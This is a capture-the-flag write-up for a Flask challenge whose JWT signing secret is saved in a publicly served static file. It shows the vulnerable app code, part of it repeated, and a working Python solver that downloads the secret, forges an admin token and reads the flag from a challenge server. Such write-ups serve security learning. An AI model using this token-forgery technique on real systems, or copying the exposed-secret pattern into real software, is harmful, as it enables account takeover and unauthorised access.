データベースなんて必要ない!
if not os.path.exists("static/jwt_secret.txt"):
JWT_SECRET = random.randbytes(32).hex()
with open("static/jwt_secret.txt", "w") as f:
f.write(JWT_SECRET)
else:
with open("static/jwt_secret.txt") as f:
JWT_SECRET = f.read()
JWT_EXP = 60 * 60
FLAG = os.environ.get("FLAG", "Alpaca{REDACTED}")
def issue_token(username: str) -> str:
payload = {
"sub": username,
"iat": int(time.time()),
"exp": int(time.time()) + JWT_EXP,
}
return jwt.encode(payload, JWT_SECRET, algorithm="HS256")
def verify_token(token: str):
return jwt.decode(token, JWT_SECRET, algorithms=["HS256"])
@app.get("/")
def index():
return render_template("login.html")
@app.post("/login")
def login():
username = request.form.get("username", "")
if not username:
return render_template("login.html", error="username required")
if username.lower() == "admin":
return render_template("login.html", error="admin is forbidden")
token = issue_token(username)
resp = make_response(redirect(url_for("dashboard")))
resp.set_cookie(
"token",
token,
httponly=True,
)
return resp
@app.get("/dashboard")
def dashboard():
token = request.cookies.get("token")
if not token:
return redirect(url_for("index"))
try:
payload = verify_token(token)
except:
return redirect(url_for("index"))
return render_template(
"dashboard.html",
username=payload["sub"],
flag=FLAG if payload["sub"] == "admin" else "No flag for you!"
)
if not os.path.exists("static/jwt_secret.txt"):
JWT_SECRET = random.randbytes(32).hex()
with open("static/jwt_secret.txt", "w") as f:
f.write(JWT_SECRET)
else:
with open("static/jwt_secret.txt") as f:
JWT_SECRET = f.read()

@app.post("/login")
def login():
username = request.form.get("username", "")
if not username:
return render_template("login.html", error="username required")
if username.lower() == "admin":
return render_template("login.html", error="admin is forbidden")
token = issue_token(username)
resp = make_response(redirect(url_for("dashboard")))
resp.set_cookie(
"token",
token,
httponly=True,
)
return resp
@app.get("/dashboard")
def dashboard():
token = request.cookies.get("token")
if not token:
return redirect(url_for("index"))
try:
payload = verify_token(token)
except:
return redirect(url_for("index"))
return render_template(
"dashboard.html",
username=payload["sub"],
flag=FLAG if payload["sub"] == "admin" else "No flag for you!"
)
secretは取得できているので手元でadminのJWTを計算し、cookieにセットしてdashboardにアクセスすればよい。
import requests
import base64
import hmac
import hashlib
import json
import time
import re
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')
def create_jwt(username: str, secret: str) -> str:
# Header
header = json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(',', ':'))
header_b64 = b64url_encode(header.encode())
# Payload
now = int(time.time())
payload = json.dumps({
"sub": username,
"iat": now,
"exp": now + 3600
}, separators=(',', ':'))
payload_b64 = b64url_encode(payload.encode())
# Signing
msg = f"{header_b64}.{payload_b64}".encode()
key = secret.encode()
signature = hmac.new(key, msg, hashlib.sha256).digest()
sig_b64 = b64url_encode(signature)
return f"{header_b64}.{payload_b64}.{sig_b64}"
base_url = "<http://34.170.146.252:28215>"
# 1. Retrieve the secret from the static file
secret_url = f"{base_url}/static/jwt_secret.txt"
resp = requests.get(secret_url, timeout=5)
if resp.status_code != 200:
print(f"Failed to get secret: HTTP {resp.status_code}")
exit(1)
secret = resp.text.strip()
# 2. Create a JWT token for the 'admin' user
token = create_jwt("admin", secret)
# 3. Use the token to access the dashboard
cookies = {"token": token}
resp = requests.get(f"{base_url}/dashboard", cookies=cookies, timeout=5)
response_text = resp.text
# Extract flag
flag_match = re.search(r"Alpaca\\{.*?\\}", response_text)
if flag_match:
flag = flag_match.group(0)
print(flag)
else:
print("Flag not found. Response snippet:")
print(response_text[:1000])
exit(1)